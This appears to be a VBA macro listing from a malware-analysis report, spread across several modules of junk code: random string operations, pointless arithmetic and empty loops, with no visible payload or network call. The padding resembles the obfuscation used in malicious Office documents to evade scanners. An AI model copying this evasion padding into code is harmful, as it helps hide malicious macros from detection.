    rtfQgloOU = UCase("^l NSJv$V b&B))IuEC") + RTrim("PGyj ef ")
    RwgzMRHD = Right("xcN   ", 4)
    osoNFqlxupV = LTrim("y JJ G] ]& ?Ve")
    While hUwDXy < 2
        For hEfCHU = 2 To 6
            zRCnjMRxht = 83 - 92 - 4 - 92 - 77
            

            paoOvURzI = Left("z#  ZN ! sI% ", 3) + LTrim(") G(Q")
        Next hEfCHU

        FKgrCyPPdp = UCase(" w X@ o ") + RTrim("D %_!YoL  Ac ? k P")
        qfDYOGuMV = Space(15) + Left(" IzMmYd_fIIF jYMb", 3)
        

        iJDlcTggOuxt = Left("-aFHxG OL ZZ-    x i", 5) + LTrim("PS D% XV. uV ")
        hUwDXy = hUwDXy + 2
    Wend

    afkOn.Close
    qfDYOGuMV = Right("   .tT", 3)
    eqoLIPMfCAoB = 94 + 89 + 32 + 55
    mpEdJqfmff = RTrim("qtcI -QFywmP yys J") + StrReverse("v   fO ")
    InAulREaOPn = 43 + 54 + 20
    

    mexCvagxAT = 36 + 71
    FqYCLMx = UCase(" xW?JD alT_j]") + RTrim("    ^D $fy&?@DGccIC")
    For XtBoML = 2 To 7
        InAulREaOPn = 45 + 29 + 51
        jDOVgjDkpm = LTrim("Hd rZ? ")
        fBWufRxX = 39 + 64 + 10 + 13 + 90 + 95
        osoNFqlxupV = RTrim("OTL(?MTgeNodZs  #RG") + StrReverse(" vY$EVqH l !q")
    Next XtBoML

    tmSnBdeXJ = UCase(" u-uNJhcAUG   ") + RTrim("ISqKL glnh? TCO ")
    osoNFqlxupV = Left("Y     Ou yU Q k ", 5) + LTrim(" a(  V kO ]jJgEi")

    HopTruUGRp = Left(" @ @BrC dP   u&", 2) + LTrim("%)$Dj")
    jpWSEunhd = 67 + 30 + 40 + 45 + 23 + 27
    tmSnBdeXJ = 12 - 29
    

    iJDlcTggOuxt = Space(7) + Left("CIB) ]#ToI&O [$I", 5)
    fBWufRxX = Left(" Msd)P xgt nqf ", 4) + LTrim(" Ajn_e")
    FjdnqGb = RTrim("e.wzc^  ") + UCase("yJvc  fz")
    mexCvagxAT = UCase("Ooc y(B^_ Wc") + RTrim("U  rb?q   umXZI[")
    rmwGZauhyseA = Left("mXuhy& ", 2) + LTrim("f    DZ oW")
    dnQeHS = 86 - 63
    paoOvURzI = RTrim("A]h)  _ Vt N Y@[kYA") + StrReverse("$  xxc.xc)N  BV ")

    FjdnqGb = LTrim("YZBoH#AD^ M  D")
    HlmrvMC = Space(4) + Left("yXe vA   hi ]", 4)
    FqYCLMx = Space(11) + Left("  eCqTMR", 2)
    alBSiWfNXxXn = RTrim("? pjo aP%vG ](S") + StrReverse("  njzN")
    For zCGnLO = 2 To 9
        

        kECxuuFaB = RTrim(" bwl& [Qq v c)v %)") + StrReverse("IBa $F# i RuG( @ OHO")
        Teiebdcgw = UCase("H Lv@O[! Ei_t    V ") + RTrim("wXPZa tc#T")
    Next zCGnLO

    kECxuuFaB = 41 - 58 - 39 - 28 - 49 - 45

End Sub



Attribute VB_Name = "Module2"

Sub kmrzJJ(QQHdxz As Double, KDXewhn As Double, kTeQIKY As Boolean, XQqEozG As Integer)
    jpWSEunhd = Right("g R l_NQtu  %", 2)
    

    qWzRzy = Space(19) + Left("dn B ?y  kvEQy L", 5)
    

    hTlUPxQn = Left("B$Hn sizmU#", 2) + LTrim("  Wjh! L !HrzoF")
    jpWSEunhd = Left("SMYF StM  A?xIY&E", 3) + LTrim("kt bVM eDE# D ? QO ")
    For ospXBc = 2 To 5
        pFvaDPWueDFk = UCase("   BIbrwcnz.  m z O") + RTrim("Ps!os ")
        rZHDX = Right("$X#q) pm^.i D  jj]i_", 5)
        rZHDX = RTrim("sfKY]!g X_o- ") + UCase("$SEb ")
        

    Next ospXBc

    Teiebdcgw = RTrim(".I oG h$cPU  cgi") + StrReverse("x l C @_A j!Mkb")
    HlmrvMC = 60 + 51 + 51 + 13 + 87
    While ospBbf < 5
        For sNGYfU = 2 To 10
            zdaiDLxzr = UCase("K X.bZ ?No") + RTrim("LcmZWuT  )nVp PN")
            InAulREaOPn = 77 - 6 - 50 - 10
            mpEdJqfmff = 80 + 17 + 54 + 84
        Next sNGYfU

        

        

        FqYCLMx = Left("  !j@DX!txKQIqZgInag", 4) + LTrim("nIH @$g P CO_&!R ")
        ospBbf = ospBbf + 2
    Wend

    kECxuuFaB = 25 + 43 + 38 + 62
    kECxuuFaB = 93 - 7
    FgAiRPZ = 45 + 54 + 73 + 96 + 42
    osoNFqlxupV = UCase("OCrfu#(XnL  S") + RTrim("Em N[@ h!I")
    eqoLIPMfCAoB = UCase("Lthrp") + RTrim("gzu gIf!P")
    eqoLIPMfCAoB = Left("i&  ?)RgG[^Mc X", 3) + LTrim("si!nO)  d")
    rZHDX = UCase("pzr A  m Q") + RTrim("I&aa &")
    FqYCLMx = 14 + 94 + 65 + 16 + 61
    FqYCLMx = RTrim("%Y[u - fn") + UCase("O YhBKr S-h  xV-")
    While CafWGo < 1
        While hwFNtQ < 2
            fBWufRxX = LTrim(" f  G OmDmn")
            rtfQgloOU = Left(" t(  ]!D&[P& Fk qqg", 5) + LTrim("Ybqvo$F[wx EFuef S.")
            

            hwFNtQ = hwFNtQ + 2
        Wend

        HopTruUGRp = Right("d e (", 5)
        rmwGZauhyseA = 49 - 22 - 31 - 86
        FqYCLMx = Space(4) + Left("P@p(Z_rwA  E(m  ", 3)
        qlkGZZ = Right("NPi#  ^T Xs_dMmwm", 5)
        EZIprlAh = LTrim("  s#U? iB")
        CafWGo = CafWGo + 1
    Wend

End Sub



Sub ixSHnq(ZdwUIa As Integer, bNHUArr As Boolean, zPwlOR As String, PqclYRX As Boolean)
    zdaiDLxzr = LTrim("PF W&B%  K  -gNI")
    

    FqYCLMx = UCase(" [ZCEJAp") + RTrim("#y ExfSi%DpNe &O W  ")
    HopTruUGRp = Left("OwZ DzcKO[  f!@ Tk I", 4) + LTrim(" hBG$        Aa%")
    zdaiDLxzr = 44 - 77
    dnQeHS = UCase("c XPOoPm?zf rsDY&") + RTrim(" K @CVPx n")
    EZIprlAh = UCase("Z $-E F ") + RTrim("mJL]BUSi  NyYQ tTt ")
    paoOvURzI = Space(10) + Left(" a  P Y_?.V", 4)
    tmSnBdeXJ = Left("? hoKcrr)sH&", 5) + LTrim("Z sbWON ^DSU  zPndL")
    eqoLIPMfCAoB = 31 + 83 + 30 + 69
    iJDlcTggOuxt = Right("  X [Wzz e. y#pky ]", 3)
    rZHDX = RTrim(" -u aby w(zFAw ") + StrReverse("  jq_ Z")
    jDOVgjDkpm = LTrim("JnxItz]  h")
    While wUMRra < 4
        mexCvagxAT = LTrim(" &( $tvTpDa")
        HopTruUGRp = LTrim("Ih  dCib  )OJty_m? ")
        osoNFqlxupV = 48 + 90 + 96 + 6 + 88
        jpWSEunhd = Left(" Ku[t AR?", 5) + LTrim("  w@UpuXiC ]U&")
        osoNFqlxupV = Left("_n!xvL#&EsADRu ", 5) + LTrim("b  TH@PS[ rsL_I ")
        wUMRra = wUMRra + 2
    Wend

    qlkGZZ = RTrim("WueYwG C?zL") + UCase(" [-NjK NVI)")
    rZHDX = UCase("J% ejYwCO Sh #g NXA%") + RTrim("E! x wm")
    osoNFqlxupV = 88 - 1
    FgAiRPZ = UCase("^ZAN  r") + RTrim("u)#ZH )BW?bHz y ")
End Sub



Sub HDnnNb(BzgPJZf As Boolean, fQBXXdB As String)
    tmSnBdeXJ = LTrim("?[I[f.A&#iGYkf  I  ")
    uuTeNQUu = RTrim("m _ A!OeV A rjBC") + StrReverse("  [ QI% W  ]BLH ")
    qfDYOGuMV = 52 + 0 + 13 + 63 + 1
    eHAuRBDsS = LTrim("k&  Zi &  #ggTd^&")
    dnQeHS = UCase(" ?Q W") + RTrim("p OSG $k[Iq!")
    alBSiWfNXxXn = Left("yOnM_", 2) + LTrim("(wQ  W?(")
    paoOvURzI = Space(14) + Left("F I]R% D OGI ", 3)
    Teiebdcgw = Left("HT $!z$bLS", 2) + LTrim("i  f [Rajl")
    waaWX = LTrim(" s iOsmOYet?p ")
    dnQeHS = RTrim("P  F y zvmsj[@ojW[") + UCase("@U Pm pHnS")
    zdaiDLxzr = 23 - 97 - 91 - 9
    jDOVgjDkpm = Left("t  A#ob Bc X$a Lg T ", 4) + LTrim(" ZDhF  ")
    FqYCLMx = UCase("uxYt-ODL#OsQCK^") + RTrim("YN[^n")
    pFvaDPWueDFk = Space(9) + Left(" ?ELl @U", 4)
    dnQeHS = LTrim("RLCYcd].aody ZK ")
End Sub



Attribute VB_Name = "Module3"

Sub RHaHyC(bShiHJ As Boolean, qQUkAHo As String, hElXqvI As Double)
    zdaiDLxzr = LTrim(" N r)tWF)FmT !N ")
    jDOVgjDkpm = RTrim(".#  !W b UG@?[% o") + StrReverse("!mqALj@")
    

    qWzRzy = UCase(" IKaDB^i") + RTrim("Pif HOAD  JW_gFQk")
    mexCvagxAT = 91 + 100 + 80 + 76 + 78
    iJDlcTggOuxt = RTrim("T Q%a") + UCase("_Y _rG tG t VV#")
    Teiebdcgw = Right("f %@mGD   TqXlldQ ", 5)
    tmSnBdeXJ = Left("p Fq ZA Yi", 4) + LTrim("r    F@  E")
    eqoLIPMfCAoB = Right(" h^ cr?f-C x TB^d?#a", 5)
    InAulREaOPn = Space(9) + Left("  Ztgo vJ", 5)
    waaWX = Right("EBRy%d#Lc", 4)
    paoOvURzI = 14 - 54
    For LGaItY = 2 To 4
        While kTNJjH < 5
            eHAuRBDsS = 18 - 50 - 90
            qfDYOGuMV = UCase(" eHu]MW#)") + RTrim("k q i E QZ")
            

            jDOVgjDkpm = 91 - 16 - 57 - 88 - 57 - 83
            kTNJjH = kTNJjH + 1
        Wend

        RwgzMRHD = Right("$n (j", 2)
        waaWX = LTrim("  zl W yC")
        mpEdJqfmff = 65 + 69 + 34 + 34 + 13 + 77
        FKgrCyPPdp = 39 - 87 - 83 - 26
    Next LGaItY

    

    qfDYOGuMV = 17 - 71 - 69 - 93 - 93 - 39
    cIkgUKGpR = Space(5) + Left(" ZCfWx", 3)
    zdaiDLxzr = 99 - 66 - 46 - 77
    For pieFPh = 2 To 5
        While oQyyOl < 1
            GpRSaadhz = Space(4) + Left("sR ITKI ", 3)
            mpEdJqfmff = RTrim("v hC ") + UCase("_OGC  Ee")
            FqYCLMx = Space(5) + Left("Q DP- %] %[  M z", 4)
            oQyyOl = oQyyOl + 1
        Wend

        qWzRzy = Right("n a x# ?kR#& ", 5)
        mexCvagxAT = 9 - 1 - 48 - 46 - 64 - 28
        FjdnqGb = Right("A Gkv^ ZE(jxt%   KB", 5)
        osoNFqlxupV = 70 - 81 - 24 - 89 - 7
    Next pieFPh

    kECxuuFaB = Right("C $( CoVM cl h-. ", 2)
    fBWufRxX = 16 + 16 + 38
End Sub



Attribute VB_Name = "Module4"

Function EapWsx(vLULkoc As Boolean, hyBroCT As String, GscPyx As Integer, SupuiWe As String, mlWEaU As String) As String
    For UGOEXT = 2 To 10
        

        waaWX = 44 - 27 - 66 - 86 - 10
        jDOVgjDkpm = RTrim("Lz c[!aINLI w)B") + UCase("!kYv?a")
        FgAiRPZ = Space(10) + Left("( JSk", 2)
        eHAuRBDsS = UCase("B !e  a#xB IU   ") + RTrim("  f&@l bMHri(t [#sap")
    Next UGOEXT

    osoNFqlxupV = 91 - 81 - 22 - 23 - 64
    While CCwUJq < 3
        

        uuTeNQUu = 46 + 51 + 40 + 99 + 93 + 9
        eqoLIPMfCAoB = UCase(" &Sw)s   D$GvMV) i") + RTrim("dUT  j")
        CCwUJq = CCwUJq + 1
    Wend

    hTlUPxQn = Space(19) + Left("oXf  P&h W%igbbOE c", 3)
    HlmrvMC = Right("F VA.!)zgzk!R N[a%F", 3)
    Teiebdcgw = UCase("VsSkaF S&xr J]dPj") + RTrim("? ?zj. EmO oY?")
    WZnkqnyJDus = Right("za)r]t[vd w) df!!!^", 4)
    

    rmwGZauhyseA = RTrim("^)YyDxpYH ") + UCase("OL  x t  ? ZiIi& )")
    

    WZnkqnyJDus = Right("Gh?s ) k", 2)
    tmSnBdeXJ = LTrim("zOc)Y]jm")
    While DzzuNH < 3
        hTlUPxQn = LTrim("hf.uo  xc)eBn N# ")
        pFvaDPWueDFk = 96 - 76 - 52 - 56
        hTlUPxQn = Space(20) + Left(".[q(n   RKn N s q", 2)
        dnQeHS = 54 + 17 + 43 + 53 + 89
        DzzuNH = DzzuNH + 2
    Wend

    fBWufRxX = UCase(")-xhRLv MUB(b ") + RTrim("C u  T #  H sv[ ")
    eqoLIPMfCAoB = 47 - 92
    paoOvURzI = RTrim("% J &bOGCB-H") + UCase(" SCI&liEt%Z% GingGW")
    hTlUPxQn = Right("-ii hhEr AAx ", 5)
    FjdnqGb = 93 - 88 - 2
    For MpZzyG = 2 To 5
        For mAPDdh = 2 To 10
            FjdnqGb = Space(10) + Left("p ^[(z", 4)
            

            fBWufRxX = 4 + 40
        Next mAPDdh

        

        paoOvURzI = Left("KH! C  o.O$A RV", 4) + LTrim("S ! y NndFm")
        tmSnBdeXJ = RTrim("jwyLGjNyvhC vkXfe s ") + StrReverse("  n -aLD  eV")
    Next MpZzyG

    

    EapWsx = "StPEcfBVAWmnZGsYRuzk"
End Function



Sub tlODdL(pJGwLw As Integer, qtAjFR As Double, GoWkjlZ As Boolean, viqTdTL As String, qTWCCtg As Boolean)
    qlkGZZ = 23 + 92
    For DXSzMf = 2 To 7
        osoNFqlxupV = Left("U[ BO [! aT    J ", 3) + LTrim(" eM )x NVbrfb ngf!")
        HopTruUGRp = LTrim("uyhx P $ m^oMDug fZ$")
        FgAiRPZ = Space(16) + Left("oEa dzq qR C]i ", 3)
        alBSiWfNXxXn = UCase("foO Xq%] fX") + RTrim("_DR&u VHg? TLkP]W ")
    Next DXSzMf

    

    HlmrvMC = LTrim("Z &D w@# YSD")
    While tfmFmV < 5
        While GOQtHv < 3
            waaWX = Space(3) + Left("GW$ .w", 4)
            HopTruUGRp = Right("baHlh KD C Tl&wtS ", 4)
            EZIprlAh = RTrim(" TIN a#& Qf  L _)]") + StrReverse("  z)FAG   b")
            

            rmwGZauhyseA = Space(10) + Left("(ZW  ", 3)
            GOQtHv = GOQtHv + 1
        Wend

        eHAuRBDsS = RTrim("gf kGuL  jRptYor") + UCase("fPVou A   [m A")
        qWzRzy = UCase(" m r p ixObe") + RTrim("SWD Yk")
        dnQeHS = LTrim("E  rb! .W  lPQ& ")
        zdaiDLxzr = UCase("N qtCOr)y   Su OhRC") + RTrim("s^D JW!m")
        rmwGZauhyseA = Left("#wV[O h c", 5) + LTrim("c-VqdzA o_Yi?A")
        tfmFmV = tfmFmV + 3
    Wend

    zRCnjMRxht = RTrim("SHH) I%c ^PhQ") + UCase("U?LyV")
    uuTeNQUu = UCase("D@OaI") + RTrim("_%sgIo   b@FAH")
    InAulREaOPn = UCase("E K  O  DycZh-H&zuG") + RTrim("MR[H lpR ")
    

    zdaiDLxzr = RTrim(" btlmevu") + UCase("XBuu G& aP  ")
    jpWSEunhd = Right("zhW!p Jf", 4)
    mpEdJqfmff = Space(14) + Left("qfMF ojd%", 3)
    paoOvURzI = RTrim("A x! #kRB n  ") + UCase("fU#pbi  nF  pM")
    GpRSaadhz = 31 - 77 - 39 - 92 - 92
    HopTruUGRp = Right("F]h iZ %# O]ahAN ]", 3)
    RwgzMRHD = RTrim(" #Z  DgU#ZL.@DDWka  ") + StrReverse("[an[%Yp-BWz dB(XM j")
    EZIprlAh = LTrim("fMl Yc")
    While ubaVjx < 3
        While oxwHpy < 4
            

            paoOvURzI = RTrim("Bk Ce(f#[lP]") + StrReverse("Qn   ")
            rtfQgloOU = 92 + 49 + 59 + 60
            qfDYOGuMV = Left("bnzoJDW# WR  @#m", 5) + LTrim("  rRe   IK m")
            paoOvURzI = RTrim(" u  IzNTza M") + StrReverse("  AuM sL")
            oxwHpy = oxwHpy + 1
        Wend

        zdaiDLxzr = LTrim("DbB #j S# # _) M")
        dnQeHS = Space(20) + Left("BdM  ayH[fef", 2)
        cIkgUKGpR = Space(17) + Left("yL C ! ", 2)
        ubaVjx = ubaVjx + 3
    Wend

    FgAiRPZ = Space(7) + Left("b  [ naY_PFokYo RJF", 2)
    mpEdJqfmff = 68 + 75 + 20 + 69 + 77 + 5
End Sub



Attribute VB_Name = "Module5"

Sub ReDdvl(jdbZuoJ As String, XmyXVd As Boolean, fxpXAQ As Boolean)
    For BsMgDe = 2 To 9
        HopTruUGRp = 54 - 52 - 73 - 27 - 39 - 61
        

        

        iJDlcTggOuxt = 70 + 42 + 3 + 1 + 34 + 18
        tmSnBdeXJ = Left("B .WqOh Unfqs^ rr  ", 4) + LTrim("Qx_l    ")
    Next BsMgDe

    WZnkqnyJDus = 99 + 49 + 23 + 26
    FKgrCyPPdp = Left("?)OP%.x#Bd^CB", 3) + LTrim("sx omFs  ")
    zRCnjMRxht = Right("v Zk^ C D@Q^ a   Ld", 3)
    tmSnBdeXJ = 98 + 39 + 70 + 7 + 80
    mpEdJqfmff = Right("$Q %xxg vHwcv", 2)
    pFvaDPWueDFk = 38 + 19 + 28 + 82 + 13
    For dPBYci = 2 To 5
        EZIprlAh = RTrim(" kw#w_jU$n^l") + UCase("&su ^No$")
        

        FqYCLMx = Left("^mBQ ", 5) + LTrim("Ys OHU(IfG &Vtr")
    Next dPBYci

    paoOvURzI = 14 - 15
    rZHDX = UCase("& nx^Mf HX    D !") + RTrim("  kh S)s$E H.Ip y")
    While lNeLNK < 1
        While ustvUE < 2
            zRCnjMRxht = Left("hu! V [)WvMD.  ", 2) + LTrim("R A $X nJHW")
            cIkgUKGpR = 42 + 89
            iJDlcTggOuxt = Space(8) + Left("HD&   !r", 2)
            FqYCLMx = 98 + 65
            FjdnqGb = RTrim(".-@itm@k v S   $IY") + StrReverse(" uP V CeJ) ")
            ustvUE = ustvUE + 3
        Wend

        kECxuuFaB = Right("vO &Bo Z  L DGLZ%oE", 2)
        HlmrvMC = 30 + 89
        hTlUPxQn = RTrim("y% Ga_(UT&u]      ") + StrReverse("Dw.S ")
        lNeLNK = lNeLNK + 3
    Wend

    osoNFqlxupV = Space(12) + Left("SIqGT ", 2)
    rZHDX = RTrim("   p $ [cPm(") + StrReverse("u oggq yW")
    fBWufRxX = Left("dV#A SBUd ZUsk  ", 3) + LTrim("r_ Pz KLq( h")
    FgAiRPZ = Space(17) + Left("mQ X$  N@Y  Dz(  fp", 3)
    mexCvagxAT = Left("H!  R&RjjE B T?]", 5) + LTrim("ng DHxvLj_ opgvD yMm")
End Sub



Sub SBoAkQ(IovcAC As Integer, uLrlhq As Double, dRDqxL As Boolean, ZPUgsS As Integer)
    uuTeNQUu = RTrim(" (?m _Bt") + StrReverse("#nX? mm-?yot BxZ ")
    

    jpWSEunhd = UCase(" _ %IU x ES&Nl") + RTrim("vVhtUQDY Nj%N  X $")
    mexCvagxAT = RTrim(" - !e)d! d TCe    ") + StrReverse(" Wd^)P")
    rmwGZauhyseA = UCase("KGy YT)#Za(Q #") + RTrim(" TX&QnL Fj$CO")
    FqYCLMx = RTrim("cDNp  ") + StrReverse("qLnCnu@  &h t Xy")
    HopTruUGRp = UCase("]k  g R_ nr ") + RTrim("  J BpK w.@ WLJ .%")
    qlkGZZ = RTrim("  TA YcL U ") + StrReverse("K)G R ( nRkd]PL")
    qlkGZZ = 26 - 84 - 46 - 33 - 59 - 32
    

    For UGqYGO = 2 To 3
        While easiKZ < 3
            rZHDX = UCase("kq-bt s?EC^ #)^z") + RTrim(" tl u?[@QF- JB  @ z")
            rmwGZauhyseA = Right("SaK)v#iGxnM_ $", 5)
            Teiebdcgw = RTrim("S()#GKzpY") + UCase("VgI l[?% Bll - LB.")
            easiKZ = easiKZ + 3
        Wend

        eHAuRBDsS = LTrim("@ ts g")
        kECxuuFaB = UCase("  %xyQfe T $L)") + RTrim("  Ay_d%e ^ qx  ")
        rtfQgloOU = RTrim("( mk_ %% M") + StrReverse("L?TO WY  _SL")
    Next UGqYGO

    WZnkqnyJDus = LTrim("-bj.lysCHya ci")
    dnQeHS = LTrim("OD q$ v C ")
    qfDYOGuMV = RTrim("eV.  s EVi") + UCase("$t@   jkqe")
    InAulREaOPn = Right("QWUJ LR g#w iDO ", 5)
    alBSiWfNXxXn = Left("g] Y .ER a]$U  t", 2) + LTrim("s] HCEqJF#$s")
    alBSiWfNXxXn = Space(8) + Left("Qz)  MFr ds JbahLvR", 5)
…

Open this report in the interactive analyzer, or submit your own file for analysis.